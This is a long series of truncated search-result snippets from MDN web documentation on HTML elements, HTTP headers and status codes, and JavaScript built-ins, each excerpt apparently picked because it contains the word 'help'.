ttribute You should be able to use the step attribute to vary the number of weeks jumped whenever they are incremented or decremented, however it doesn't seem to have any effect on supporting browsers. Validation By default, <input type="week"> does not apply any validation to entered values. The UI implementations generally don't let you specify anything that isn't a valid week/year, which is helpful, but it's still possible to submit with the field empty, and you might want to restrict the range of choosable weeks. Setting maximum and minimum weeks You can use the min and max attributes to restrict the valid weeks that can be chosen by the user. In the following example we are setting a minimum value of Week 01, 2017 and a maximum value of Week 52, 2017: <form> <label for="week">What...
<kbd>: The Keyboard Input element - HTML: Hypertext Markup Language
Web › HTML › Element › kbd
nted by the system, such as the names of menus and menu items, or the names of buttons displayed on the screen. See the example under Representing onscreen input options below. You can define a custom style to override the browser's default font selection for the <kbd> element, although the user's preferences may potentially override your CSS. Examples Basic example <p>Use the command <kbd>help mycommand</kbd> to view documentation for the command "mycommand".</p> Representing keystrokes within an input To describe an input comprised of multiple keystrokes, you can nest multiple <kbd> elements, with an outer <kbd> element representing the overall input and each individual keystroke or component of the input enclosed within its own <kbd>. Unstyled First, let's look at what this lo...
<mark>: The Mark Text element - HTML: Hypertext Markup Language
Web › HTML › Element › mark
time for the Rebellion. Although the Death Star has been destroyed, <mark class="match">Imperial</mark> troops have driven the Rebel forces from their hidden base and pursued them across the galaxy.</p> <p>Evading the dreaded <mark class="match">Imperial</mark> Starfleet, a group of freedom fighters led by Luke Skywalker has established a new secret base on the remote ice world of Hoth.</p> To help distinguish the use of <mark> for search results from other potential usage, this example applies the custom class "match" to each match. The results look like this: Accessibility concerns The presence of the mark element is not announced by most screen reading technology in its default configuration. It can be made to be announced by using the CSS content property, along with the ::before a...
<meta>: The Document-level Metadata element - HTML: Hypertext Markup Language
Web › HTML › Element › meta
the http-equiv or name attribute, depending on which is used. http-equiv Defines a pragma directive. The attribute is named http-equiv(alent) because all the allowed values are names of particular HTTP headers: content-security-policy Allows page authors to define a content policy for the current page. Content policies mostly specify allowed server origins and script endpoints which help guard against cross-site scripting attacks. content-type If specified, the content attribute must have the value "text/html; charset=utf-8". Note: Can only be used in documents served with a text/html MIME type -- not in documents served with an XML MIME type. default-style Sets the name of the default CSS style sheet set. x-ua-compatible If specified, the content attribu...
<p>: The Paragraph element - HTML: Hypertext Markup Language
Web › HTML › Element › p
Screen-readers and other assistive technology provide shortcuts to let their users skip to the next or previous paragraph, letting them skim content like how white space lets visual users skip around. Using empty <p> elements to add space between paragraphs is problematic for people who navigate with screen-reading technology. Screen readers may announce the paragra...
<strong>: The Strong Importance element - HTML: Hypertext Markup Language
Web › HTML › Element › strong
ress the same thing on a rendered website. <b> and <strong> are perhaps one of the most common sources of confusion, causing developers to ask "Should I use <b> or <strong>? Don't they both do the same thing?" Not exactly. The <strong> element is for content that is of greater importance, while the <b> element is used to draw attention to text without indicating that it's more important. It may help to realize that both are valid and semantic elements in HTML5 and that it's a coincidence that they both have the same default styling (boldface) in most browsers (although some older browsers actually underline <strong>). Each element is meant to be used in certain types of scenarios, and if you want to bold text simply for decoration, you should instead actually use the CSS font-weight property...
<time> - HTML: Hypertext Markup Language
Web › HTML › Element › time
mitted ARIA roles Any DOM interface HTMLTimeElement Attributes Like all other HTML elements, this element supports the global attributes. datetime This attribute indicates the time and/or date of the element and must be in one of the formats described below. Usage notes This element is for presenting dates and times in a machine readable format. For example, this can help a user agent offer to add an event to a user's calendar. This element should not be used for dates prior to the introduction of the Gregorian calendar (due to complications in calculating those dates). The datetime value (the machine-readable value of the datetime) is the value of the element's datetime attribute, which must be in the proper format (see below). If the element does not have a da...
<title>: The Document Title element - HTML: Hypertext Markup Language
Web › HTML › Element › title
a title value that describes the page's purpose. A common navigation technique for users of assistive technology is to read the page title and infer the content the page contains. This is because navigating into a page to determine its content can be a time consuming and potentially confusing process. Example <title>Menu - Blue House Chinese Food - FoodYum: Online takeout today!</title> To help the user, update the page title value to reflect significant page state changes (such as form validation problems). Example <title>2 errors - Your order - Blue House Chinese Food - FoodYum: Online takeout today!</title> MDN Understanding WCAG, Guideline 2.4 explanations Understanding Success Criterion 2.4.2 | W3C Understanding WCAG 2.0 Specifications Specification Status ...
<tt>: The Teletype Text element (obsolete) - HTML: Hypertext Markup Language
Web › HTML › Element › tt
purpose of rendering text as it would be displayed on a fixed-width display such as a teletype, text-only screen, or line printer. The terms non-proportional, monotype, and monospace are used interchangeably and have the same general meaning: they describe a typeface whose characters are all the same number of pixels wide. This element is obsolete, however. You should use the more semantically helpful <code>, <kbd>, <samp>, or <var> elements for inline text that needs to be presented in monospace type, or the <pre> tag for content that should be presented as a separate block. If none of the semantic elements are appropriate for your use case (for example, if you simply need to show some content in a non-proportional font), you should consider using the <span> element, styling it as desired...
<video>: The Video Embed element - HTML: Hypertext Markup Language
Web › HTML › Element › video
another document or application. buffered An attribute you can read to determine the time ranges of the buffered media. This attribute contains a TimeRanges object. controls If this attribute is present, the browser will offer controls to allow the user to control video playback, including volume, seeking, and pause/resume playback. controlslist The controlslist attribute, when specified, helps the browser select what controls to show on the media element whenever the browser shows its own set of controls (e.g. when the controls attribute is specified). The allowed values are nodownload, nofullscreen and noremoteplayback. Use the disablePictureInPicture attribute if you want to disable the Picture-In-Picture mode (and the control). crossorigin This enumerated attribute indicat...
lang - HTML: Hypertext Markup Language
The attribute contains a single "language tag" in the format defined in Tags for Identifying Languages (BCP47). The default value of lang is unknown, therefore it is recommended to always specify this attribute with the appropriate value. The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
Global attributes - HTML: Hypertext Markup Language
cope of the itemtype associated with it. itemtype is a valid URL of a vocabulary (such as schema.org) that describes the item and its properties context. itemtype Specifies the URL of the vocabulary that will be used to define itemprops (item properties) in the data structure. itemscope is used to set the scope of where in the data structure the vocabulary set by itemtype will be active. lang Helps define the language of an element: the language that non-editable elements are in, or the language that editable elements should be written in by the user. The attribute contains one "language tag" (made of hyphen-separated "language subtags") in the format defined in Tags for Identifying Languages (BCP47). xml:lang has priority over it. part A space-separated list of the part names of the ele...
HTML: Hypertext Markup Language
Web › HTML
, <ul>, <ol>, <li> and many others. An HTML element is set off from other text in a document by "tags", which consist of the element name surrounded by "<" and ">". The name of an element inside a tag is case insensitive. That is, it can be written in uppercase, lowercase, or a mixture. For example, the <title> tag can be written as <Title>, <TITLE>, or in any other way. The articles below can help you learn more about HTML. HTML Introduction If you're new to Web development, be sure to read our HTML Basics article to learn what HTML is and how to use it. HTML Tutorials For articles about how to use HTML, as well as tutorials and complete examples, check out our HTML Learning Area. HTML Reference In our extensive HTML reference section, you'll find the details about every e...
CORS errors - HTTP
Web › HTTP › CORS › Errors
up mistake, though. It's possible that the request is in fact intentionally being disallowed by the user's web application and remote external service. However, If the endpoint is meant to be available, some debugging is needed to succeed. Identifying the issue To understand the underlying issue with the CORS configuration, you need to find out which request is at fault and why. These steps may help you do so: Navigate to the web site or web app in question and open the Developer Tools. Now try to reproduce the failing transaction and check the console if you are seeing a CORS violation error message. It will probably look like this: The text of the error message will be something similar to the following: Cross-Origin Request Blocked: The Same Origin Policy disallows reading the re...
HTTP caching - HTTP
Web › HTTP › Caching
response unless all header fields as nominated by the Vary header match in both the original (cached) request and the new request. This can be useful for serving content dynamically, for example. When using the Vary: User-Agent header, caching servers should consider the user agent when deciding whether to serve the page from cache. If you are serving different content to mobile users, it can help you to avoid that a cache may mistakenly serve a desktop version of your site to your mobile users. In addition, it can help Google and other search engines to discover the mobile version of a page, and might also tell them that no Cloaking is intended. Vary: User-Agent Because the User-Agent header value is different ("varies") for mobile and desktop clients, caches will not be used to serve m...
HTTP conditional requests - HTTP
g the If-Match or If-Unmodified-Since headers. If the etag doesn't match the original file, or if the file has been modified since it has been obtained, the change is simply rejected with a 412 Precondition Failed error. It is then up to the client to deal with the error: either by notifying the user to start again (this time on the newest version), or by showing the user a diff of both versions, helping them decide which changes they wish to keep. Dealing with the first upload of a resource The first upload of a resource is an edge case of the previous. Like any update of a resource, it is subject to a race condition if two clients try to perform at the similar times. To prevent this, conditional requests can be used: by adding If-None-Match with the special value of '*', representing any e...
Feature Policy - HTTP
I that provides access to feature. Change the default values or options that control the feature behavior. The current set of policy-controlled features fall into two broad categories: Enforcing best practices for good user experiences. Providing granular control over sensitive or powerful features. Best practices for good user experiences There are several policy-controlled features to help enforce best practices for providing good performance and user experiences. In most cases, the policy-controlled features represent functionality that when used will negatively impact the user experience. To avoid breaking existing web content, the default for such policy-controlled features is to allow the functionality to be used by all origins. Best practices are then enforced by using polici...
CSP: upgrade-insecure-requests - HTTP
via HTTPS, the request will fail without any fallback to HTTP. ...
Content-Security-Policy - HTTP
For more information, see the introductory article on Content Security Policy (CSP). ...
Server - HTTP
Web › HTTP › Headers › Server
header name no Syntax Server: <product> Directives <product> The name of the software or product that handled the request. Usually in a format similar to User-Agent. How much detail to include is an interesting balance to strike; exposing the OS version is probably a bad idea, as mentioned in the earlier warning about overly-detailed values. However, exposed Apache versions helped browsers work around a bug those versions had with Content-Encoding combined with Range. Examples Server: Apache/2.4.1 (Unix) Specifications Specification Title RFC 7231, section 7.4.2: Server Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content ...
Set-Cookie - HTTP
in a separator character like the following: ( ) < > @ , ; : \ " / [ ] ? = { }. A <cookie-value> can optionally be wrapped in double quotes and include any US-ASCII characters excluding control characters, Whitespace, double quotes, comma, semicolon, and backslash. Encoding: Many implementations perform URL encoding on cookie values, however it is not required per the RFC specification. It does help satisfying the requirements about which characters are allowed for <cookie-value> though. __Secure- prefix: Cookies names starting with __Secure- (dash is part of the prefix) must be set with the secure flag from a secure page (HTTPS). __Host- prefix: Cookies with names starting with __Host- must be set with the secure flag, must be from a secure page (HTTPS), must not have a domain specified...
Vary - HTTP
Web › HTTP › Headers › Vary
ldn't be stored ever. <header-name> A comma-separated list of header names to take into account when deciding whether or not a cached response can be used. Examples Dynamic serving When using the Vary: User-Agent header, caching servers should consider the user agent when deciding whether to serve the page from cache. For example, if you are serving different content to mobile users, it can help you to avoid that a cache may mistakenly serve a desktop version of your site to your mobile users. It can help Google and other search engines to discover the mobile version of a page, and might also tell them that no Cloaking is intended. Vary: User-Agent Specifications Specification Title RFC 7231, section 7.1.4: Vary Hypertext Transfer Protocol (HTTP/1.1): Semantics...
Link prefetching FAQ - HTTP
le="Designed for Mozilla" href="mozspecific.css"> <link rel="next" href="2.html"> Are anchor (<a>) tags prefetched? No, only <link> tags with a relation type of next or prefetch are prefetched. However, if there is sufficient interest, we may expand link prefetching support to include prefetching <a> tags, which include a relation type of next or prefetch in the future. Doing so would probably help content providers avoid the problem of stale prefetching links. Is link prefetching standards compliant? Yes, link prefetching as outlined in this document does not violate any existing web standards. In fact, the HTML 4.01 specification explicitly allows for the definition of new link relation types (see Section 6.12: Link types). However, the exact mechanism employed by Mozilla is not yet sta...
HTTP Messages - HTTP
Web › HTTP › Messages
typically associated with HTML Forms. HTTP Responses Status line The start line of an HTTP response, called the status line, contains the following information: The protocol version, usually HTTP/1.1. A status code, indicating success or failure of the request. Common status codes are 200, 404, or 302 A status text. A brief, purely informational, textual description of the status code to help a human understand the HTTP message. A typical status line looks like: HTTP/1.1 404 Not Found. Headers HTTP headers for responses follow the same structure as any other header: a case-insensitive string followed by a colon (':') and a value whose structure depends upon the type of the header. The whole header, including its value, presents as a single line. There are numerous response header...
An overview of HTTP - HTTP
Web › HTTP › Overview
less efficient than sharing a single TCP connection when multiple requests are sent in close succession. In order to mitigate this flaw, HTTP/1.1 introduced pipelining (which proved difficult to implement) and persistent connections: the underlying TCP connection can be partially controlled using the Connection header. HTTP/2 went a step further by multiplexing messages over a single connection, helping keep the connection warm and more efficient. Experiments are in progress to design a better transport protocol more suited to HTTP. For example, Google is experimenting with QUIC which builds on UDP to provide a more reliable and efficient transport protocol. What can be controlled by HTTP This extensible nature of HTTP has, over time, allowed for more control and functionality of the Web. ...
Protocol upgrade mechanism - HTTP
vides information to the server which is needed in order to confirm that the client is entitled to request an upgrade to WebSocket. This header can be used when insecure (HTTP) clients wish to upgrade, in order to offer some degree of protection against abuse. The value of the key is computed using an algorithm defined in the WebSocket specification, so this does not provide security. Instead, it helps to prevent non-WebSocket clients from inadvertently, or through misuse, requesting a WebSocket connection. In essence, then, this key simply confirms that "Yes, I really mean to open a WebSocket connection." This header is automatically added by clients that choose to use it; it cannot be added using the XMLHttpRequest.setRequestHeader() method. Sec-WebSocket-Key: key key The key for this ...
HTTP Public Key Pinning (HPKP) - HTTP
y information Note: While the example below shows how to set a pin on a server certificate, it is recommended to place the pin on the intermediate certificate of the CA that issued the server certificate, to ease certificates renewals and rotations. First you need to extract the public key information from your certificate or key file and encode them using Base64. The following commands will help you extract the Base64 encoded information from a key file, a certificate signing request, or a certificate. openssl rsa -in my-rsa-key-file.key -outform der -pubout | openssl dgst -sha256 -binary | openssl enc -base64 openssl ec -in my-ecc-key-file.key -outform der -pubout | openssl dgst -sha256 -binary | openssl enc -base64 openssl req -in my-signing-request.csr -pubkey -noout | openssl pkey...
Redirections in HTTP - HTTP
d you under the new name. Forcing HTTPS Requests to the http:// version of your site will redirect to the https:// version of your site. Keeping links alive When you restructure Web sites, URLs change. Even if you update your site's links to match the new URLs, you have no control over the URLs used by external resources. You don't want to break these links, as they bring valuable users and help your SEO, so you set up redirects from the old URLs to the new ones. This technique does work for internal links, but try to avoid having internal redirects. A redirect has a significant performance cost (as an extra HTTP request occurs). If you can avoid it by correcting internal links, you should fix those links instead. Temporary responses to unsafe requests Unsafe requests modify the sta...
404 Not Found - HTTP
Web › HTTP › Status › 404
rce. Links that lead to a 404 page are often called broken or dead links and can be subject to link rot. A 404 status code does not indicate whether the resource is temporarily or permanently missing. But if a resource is permanently removed, a 410 (Gone) should be used instead of a 404 status. Status 404 Not Found Custom error pages Many web sites customize the look of a 404 page to be more helpful to the user and provide guidance on what to do next. Apache servers can be configured using an .htaccess file and a code snippet like the following example. ErrorDocument 404 /notfound.html For an example of a custom 404 page, see MDN's 404 page. Custom design is a good thing, in moderation. Feel free to make your 404 page humorous and human, but don't confuse your users. Specifications ...
412 Precondition Failed - HTTP
Web › HTTP › Status › 412
s other than GET or HEAD when the condition defined by the If-Unmodified-Since or If-None-Match headers is not fulfilled. In that case, the request, usually an upload or a modification of a resource, cannot be made and this error response is sent back. Status 412 Precondition Failed Examples ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4" ETag: W/"0815" Avoiding mid-air collisions With the help of the ETag and the If-Match headers, you can detect mid-air edit collisions. For example, when editing MDN, the current wiki content is hashed and put into an Etag in the response: ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4" When saving changes to a wiki page (posting data), the POST request will contain the If-Match header containing the ETag values to check freshness against. If-Match...
431 Request Header Fields Too Large - HTTP
Web › HTTP › Status › 431
The HTTP 431 Request Header Fields Too Large response status code indicates that the server refuses to process the request because the request's HTTP headers are too long. The request may be resubmitted after reducing the size of the request headers. 431 can be used when the total size of request headers is too large, or when a single header field is too large. To help those running into this error, indicate which of the two is the problem in the response body -- ideally, also include which headers are too large. This lets users attempt to fix the problem, such as by clearing their cookies. Servers will often produce this status if: The Referer URL is too long There are too many Cookies sent in the request Status 431 Request Header Fields Too Large Specifications Specifica...
CSS Houdini
feature is performant, handles all edge cases, and considers security, privacy, and accessibility. As you extend CSS with Houdini, make sure to keep these considerations in mind, and start small before moving on to more ambitious projects. The Houdini APIs Below you can find links to the main reference pages covering the APIs that fall under the Houdini umbrella, along with links to guides to help you if you need guidance in learning how to use them. Start by reading Houdini, an introduction -- this provides a brief history of Houdini and an overview of its many features. CSS Parser API An API exposing the CSS parser more directly, for parsing arbitrary CSS-like languages into a mildly typed representation. No guide or reference has currently been written for this API. CSS Prope...
Indexed collections - JavaScript
data. As you already know, Array objects grow and shrink dynamically and can have any JavaScript value. JavaScript engines perform optimizations so that these arrays are fast. However, as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using WebSockets, and so forth, it has become clear that there are times when it would be helpful for JavaScript code to be able to quickly and easily manipulate raw binary data in typed arrays. Buffers and views: typed array architecture To achieve maximum flexibility and efficiency, JavaScript typed arrays split the implementation into buffers and views. A buffer (implemented by the ArrayBuffer object) is an object representing a chunk of data; it has no format to speak of, and offers ...
Introduction - JavaScript
cle JavaScript technologies overview. JavaScript documentation versus the ECMAScript specification The ECMAScript specification is a set of requirements for implementing ECMAScript. It is useful if you want to implement standards-compliant language features in your ECMAScript implementation or engine (such as SpiderMonkey in Firefox, or V8 in Chrome). The ECMAScript document is not intended to help script programmers. Use the JavaScript documentation for information when writing scripts. The ECMAScript specification uses terminology and syntax that may be unfamiliar to a JavaScript programmer. Although the description of the language may differ in ECMAScript, the language itself remains the same. JavaScript supports all functionality outlined in the ECMAScript specification. The JavaScrip...
Keyed collections - JavaScript
. The keys of an Object are Strings or Symbols, where they can be of any value for a Map. You can get the size of a Map easily, while you have to manually keep track of size for an Object. The iteration of maps is in insertion order of the elements. An Object has a prototype, so there are default keys in the map. (This can be bypassed using map = Object.create(null).) These three tips can help you to decide whether to use a Map or an Object: Use maps over objects when keys are unknown until run time, and when all keys are the same type and all values are the same type. Use maps if there is a need to store primitive values as keys because object treats each key as a string whether it's a number value, boolean value or any other primitive value. Use objects when there is logic that ...
About the JavaScript reference - JavaScript
The JavaScript language is intended to be used within some larger environment, be it a browser, server-side scripts, or similar. ...
SyntaxError: test for equality (==) mistyped as assignment (=)? - JavaScript
re was an assignment (=) when you would normally expect a test for equality (==). Message Warning: SyntaxError: test for equality (==) mistyped as assignment (=)? Error type (Firefox only) SyntaxError warning which is reported only if javascript.options.strict preference is set to true. What went wrong? There was an assignment (=) when you would normally expect a test for equality (==). To help debugging, JavaScript (with strict warnings enabled) warns about this pattern. Examples Assignment within conditional expressions It is advisable to not use simple assignments in a conditional expression (such as if...else), because the assignment can be confused with equality when glancing over the code. For example, do not use the following code: if (x = y) { // do the right thing } If ...
SyntaxError: missing } after property list - JavaScript
'}' (Edge) SyntaxError: missing } after property list (Firefox) Error type SyntaxError What went wrong? There is a mistake in the object initializer syntax somewhere. Might be in fact a missing curly bracket, but could also be a missing comma, for example. Also check if any closing curly brackets or parenthesis are in the correct order. Indenting or formatting the code a bit nicer might also help you to see through the jungle. Examples Forgotten comma Oftentimes, there is a missing comma in your object initializer code: var obj = { a: 1, b: { myProp: 2 } c: 3 }; Correct would be: var obj = { a: 1, b: { myProp: 2 }, c: 3 }; ...
Default parameters - JavaScript
e to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax function [name]([param1[ = defaultValue1 ][, ..., paramN[ = defaultValueN ]]]) { statements } Description In JavaScript, function parameters default to undefined. However, it's often useful to set a different default value. This is where default parameters can help. In the past, the general strategy for setting defaults was to test parameter values in the function body and assign a value if they are undefined. In the following example, if no value is provided for b when multiply is called, b's value would be undefined when evaluating a * b and multiply would return NaN. function multiply(a, b) { return a * b } multiply(5, 2) // 10 multiply(5) // ...
Array - JavaScript
0', '1'] console.log(fruits.length) // 2 This is explained further on the Array.length page. Creating an array using the result of a match The result of a match between a RegExp and a string can create a JavaScript array. This array has properties and elements which provide information about the match. Such an array is returned by RegExp.exec(), String.match(), and String.replace(). ...
DataView() constructor - JavaScript
t Optional The offset, in bytes, to the first byte in the above buffer for the new view to reference. If unspecified, the buffer view starts with the first byte. byteLength Optional The number of elements in the byte array. If unspecified, the view's length will match the buffer's length. Return value A new DataView object representing the specified data buffer. (That probably wasn't a very helpful description.) You can think of the returned object as an "interpreter" of the array buffer of bytes -- it knows how to convert numbers to fit within the buffer correctly, both when reading and writing to it. This means handling integer and float conversion, endianness, and other details of representing numbers in binary form. Exceptions RangeError Thrown if the byteOffset or byteLength...
Date.prototype.getTime() - JavaScript
The getTime() method returns the number of milliseconds* since the Unix Epoch. * JavaScript uses milliseconds as the unit of measurement, whereas Unix Time is in seconds. getTime() always uses UTC for time representation. For example, a client browser in one timezone, getTime() will be the same as a client browser in any other timezone. You can use this method to help assign a date and time to another Date object. This method is functionally equivalent to the valueOf() method. The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax dateObj.getTime() Return value A number representing the milliseconds ...
Date.parse() - JavaScript
econds since January 1, 1970, 00:00:00 UTC or NaN if the string is unrecognized or, in some cases, contains illegal date values (e.g. 2015-02-31). It is not recommended to use Date.parse as until ES5, parsing of strings was entirely implementation dependent. There are still many differences in how different hosts parse date strings, therefore date strings should be manually parsed (a library can help if many different formats are to be accommodated). The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax Direct call: Date.parse(dateString) Implicit call: new Date(dateString) Parameters dateString A string...
Date.prototype.setTime() - JavaScript
://github.com/mdn/interactive-examples and send us a pull request. Syntax dateObj.setTime(timeValue) Parameters timeValue An integer representing the number of milliseconds since 1 January 1970, 00:00:00 UTC. Return value The number of milliseconds between 1 January 1970 00:00:00 UTC and the updated date (effectively, the value of the argument). Description Use the setTime() method to help assign a date and time to another Date object. Examples Using setTime() var theBigDay = new Date('July 1, 1999'); var sameAsBigDay = new Date(); sameAsBigDay.setTime(theBigDay.getTime()); Specifications Specification ECMAScript (ECMA-262)The definition of 'Date.prototype.setTime' in that specification. ...
Function.prototype.bind() - JavaScript
n be run directly in your JavaScript console // ...continued from above // Can still be called as a normal function // (although usually this is undesired) YAxisPoint(13); `${emptyObj.x},${emptyObj.y}`; // > '0,13' If you wish to support the use of a bound function only using new, or only by calling it, the target function must enforce that restriction. Creating shortcuts bind() is also helpful in cases where you want to create a shortcut to a function which requires a specific this value. Take Array.prototype.slice(), for example, which you want to use for converting an array-like object to a real array. You could create a shortcut like this: const slice = Array.prototype.slice; // ... slice.apply(arguments); With bind(), this can be simplified. In the following piece of code...
Intl.DateTimeFormat - JavaScript
ur: 'numeric', minute: 'numeric', second: 'numeric', hour12: false, timeZone: 'America/Los_Angeles' }; console.log(new Intl.DateTimeFormat('en-US', options).format(date)); // -> "12/19/2012, 19:00:00" // to specify options but use the browser's default locale, use 'default' console.log(new Intl.DateTimeFormat('default', options).format(date)); // -> "12/19/2012, 19:00:00" // sometimes it's helpful to include the period of the day options = {hour: "numeric", dayPeriod: "short"}; console.log(new Intl.DateTimeFormat('en-US', options).format(date)); // -> 10 at night The used calendar and numbering formats can also be set independently via options arguments: var options = {calendar: 'chinese', numberingSystem: 'arab'}; var dateFormat = new Intl.DateTimeFormat('default', options); var use...
Intl.Locale.prototype.collation - JavaScript
ding to the locale's rules. Description Collation is the process of ordering strings of characters. It is used whenever strings must be sorted and placed into a certain order, from search query results to ordering records in a database. While the idea of placing strings in order might seem trivial, the idea of order can vary from region to region and language to language. The collation property helps to make it easier for JavaScript programmers to access the collation type used by a particular locale. Below is a table with the available collation types, taken from the Unicode collation specification. Valid collation types Collation Type Description big5han Pinyin ordering for Latin, big5 charset ordering for CJK characters (used in Chinese) compat A...
Intl.Locale.prototype.numberingSystem - JavaScript
As with most internationalization schemas, the numeral systems that can be represented in a Locale object by numberingSystem are standardized by Unicode. A table of the standard Unicode numeral systems can be seen below. ...
Intl.Locale.prototype.region - JavaScript
n is an essential part of the locale identifier, as it places the locale in a specific area of the world. Knowing the locale's region is vital to identifying differences between locales. For example, English is spoken in the United Kingdom and the United States of America, but there are differences in spelling and other language conventions between those two countries. Knowing the locale's region helps JavaScript programmers make sure that the content from their sites and applications is correctly displayed when viewed from different areas of the world. Examples Setting the region in the locale identifer string argument The region is the third part of a valid Unicode language identifier string, and can be set by adding it to the locale identifier string that is passed into the Locale constr...
Math.clz32() - JavaScript
// 1. erase all the higher bits after the first zero integer &= (integer << 16) | 0xffff; integer &= (integer << 8 ) | 0x00ff; integer &= (integer << 4 ) | 0x000f; integer &= (integer << 2 ) | 0x0003; integer &= (integer << 1 ) | 0x0001; // 2. Now, inversing the bits reveals the lowest zeros return 32 - clon(~integer) |0; */ } Make these helper functions into ASM.JS module; then, you have a true performance masterpiece. Situations like these are exactly what ASM.JS was designed for. var countTrailsMethods = (function(stdlib, foreign, heap) { "use asm"; var clz = stdlib.Math.clz32; function ctrz(integer) { // count trailing zeros integer = integer | 0; // coerce to an integer // 1. fill in all the higher bi...
Math.cosh() - JavaScript
lone https://github.com/mdn/interactive-examples and send us a pull request. Syntax Math.cosh(x) Parameters x A number. Return value The hyperbolic cosine of the given number. Description Because cosh() is a static method of Math, you always use it as Math.cosh(), rather than as a method of a Math object you created (Math is not a constructor). ...
Math.expm1() - JavaScript
examples and send us a pull request. Syntax Math.expm1(x) Parameters x A number. Return value A number representing ex - 1, where e is Euler's number and x is the argument. Description Because expm1() is a static method of Math, you always use it as Math.expm1(), rather than as a method of a Math object you created (Math is not a constructor). Polyfill This can be emulated with the help of the Math.exp() function: Math.expm1 = Math.expm1 || function(x) { return Math.exp(x) - 1; }; Examples Using Math.expm1() Math.expm1(-1); // -0.6321205588285577 Math.expm1(0); // 0 Math.expm1(1); // 1.718281828459045 Specifications Specification ECMAScript (ECMA-262)The definition of 'Math.expm1' in that specification. ...
Math.sinh() - JavaScript
clone https://github.com/mdn/interactive-examples and send us a pull request. Syntax Math.sinh(x) Parameters x A number. Return value The hyperbolic sine of the given number. Description Because sinh() is a static method of Math, you always use it as Math.sinh(), rather than as a method of a Math object you created (Math is not a constructor). ...
Math.tanh() - JavaScript
h x} = \frac {e^x - e^{-x}} {e^x + e^{-x}} = \frac{e^{2x} - 1}{e^{2x}+1} Syntax Math.tanh(x) Parameters x A number. Return value The hyperbolic tangent of the given number. Description Because tanh() is a static method of Math, you always use it as Math.tanh(), rather than as a method of a Math object you created (Math is not a constructor). ...
Promise.prototype.finally() - JavaScript
The finally() method returns a Promise. When the promise is settled, i.e either fulfilled or rejected, the specified callback function is executed. This provides a way for code to be run whether the promise was fulfilled successfully or rejected once the Promise has been dealt with. This helps to avoid duplicating code in both the promise's then() and catch() handlers. Syntax p.finally(onFinally); p.finally(function() { // settled (fulfilled or rejected) }); Parameters onFinally A Function called when the Promise is settled. Return value Returns a Promise whose finally handler is set to the specified function, onFinally. Description The finally() method can be useful if you want to do some processing or cleanup once the promise is settled, regardless of its outcome. The fin...
Promise.prototype.then() - JavaScript
resolve(string); }, 1); }); }) // 2. receive "foobar", register a callback function to work on that string // and print it to the console, but not before returning the unworked on // string to the next then .then(function(string) { setTimeout(function() { string += 'baz'; console.log(string); // foobarbaz }, 1) return string; }) // 3. print helpful messages about how the code in this section will be run // before the string is actually processed by the mocked asynchronous code in the // previous then block. .then(function(string) { console.log("Last Then: oops... didn't bother to instantiate and return " + "a promise in the prior then so the sequence may be a bit " + "surprising"); // Note ...
Proxy - JavaScript
handler2); Here we've provided an implementation of the get() handler, which intercepts attempts to access properties in the target. Handler functions are sometimes called traps, presumably because they trap calls to the target object. ...
Planned changes to shared memory - JavaScript
Starting with Firefox 79, the features described in this document are enabled by default. ...
String.prototype.normalize() - JavaScript
e points are different, string comparison will not treat them as equal. And since the number of code points in each version is different, they even have different lengths. let string1 = '\u00F1'; // n let string2 = '\u006E\u0303'; // n console.log(string1 === string2); // false console.log(string1.length); // 1 console.log(string2.length); // 2 The normalize() method helps solve this problem by converting a string into a normalized form common for all sequences of code points that represent the same characters. There are two main normalization forms, one based on canonical equivalence and the other based on compatibility. Canonical equivalence normalization In Unicode, two sequences of code points have canonical equivalence if they represent the same abstract ch...
Symbol.toPrimitive - JavaScript
The Symbol.toPrimitive is a symbol that specifies a function valued property that is called to convert an object to a corresponding primitive value. The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Description With the help of the Symbol.toPrimitive property (used as a function value), an object can be converted to a primitive value. The function is called with a string argument hint, which specifies the preferred type of the result primitive value. The hint argument can be one of "number", "string", and "default". Property attributes of Symbol.toPrimitive Writable no ...
Symbol.toStringTag - JavaScript
all(function* () {}); // "[object GeneratorFunction]" Object.prototype.toString.call(Promise.resolve()); // "[object Promise]" // ... and more Custom classes default to object tag When creating your own class, JavaScript defaults to the "Object" tag: class ValidatorClass {} Object.prototype.toString.call(new ValidatorClass()); // "[object Object]" Custom tag with toStringTag Now, with the help of toStringTag, you are able to set your own custom tag: class ValidatorClass { get [Symbol.toStringTag]() { return 'Validator'; } } Object.prototype.toString.call(new ValidatorClass()); // "[object Validator]" toStringTag available on all DOM prototype objects Due to a WebIDL spec change in mid-2020, browsers are adding a Symbol.toStringTag property to all DOM prototype objects. For...
Symbol - JavaScript
) Returns a string containing the description of the Symbol. Overrides the Object.prototype.toString() method. Symbol.prototype.valueOf() Returns the primitive value of the Symbol object. Overrides the Object.prototype.valueOf() method. Symbol.prototype[@@toPrimitive] Returns the primitive value of the Symbol object. Examples Using the typeof operator with symbols The typeof operator can help you to identify symbols. typeof Symbol() === 'symbol' typeof Symbol('foo') === 'symbol' typeof Symbol.iterator === 'symbol' Symbol type conversions Some things to note when working with type conversion of symbols. When trying to convert a symbol to a number, a TypeError will be thrown (e.g. +sym or sym | 0). When using loose equality, Object(sym) == sym returns true. Symbol("foo") + "b...
encodeURI() - JavaScript
...
eval() - JavaScript
n pass functions as arguments to other APIs, store them in variables and objects' properties, and so on. Many DOM APIs are designed with this in mind, so you can (and should) write: // instead of setTimeout(" ... ", 1000) use: setTimeout(function() { ... }, 1000); // instead of elt.setAttribute("onclick", "...") use: elt.addEventListener('click', function() { ... } , false); Closures are also helpful as a way to create parameterized functions without concatenating strings. Parsing JSON (converting strings to JavaScript objects) If the string you're calling eval() on contains data (for example, an array: "[1, 2, 3]"), as opposed to code, you should consider switching to JSON, which allows the string to use a subset of JavaScript syntax to represent data. See also Downloading JSON and Java...
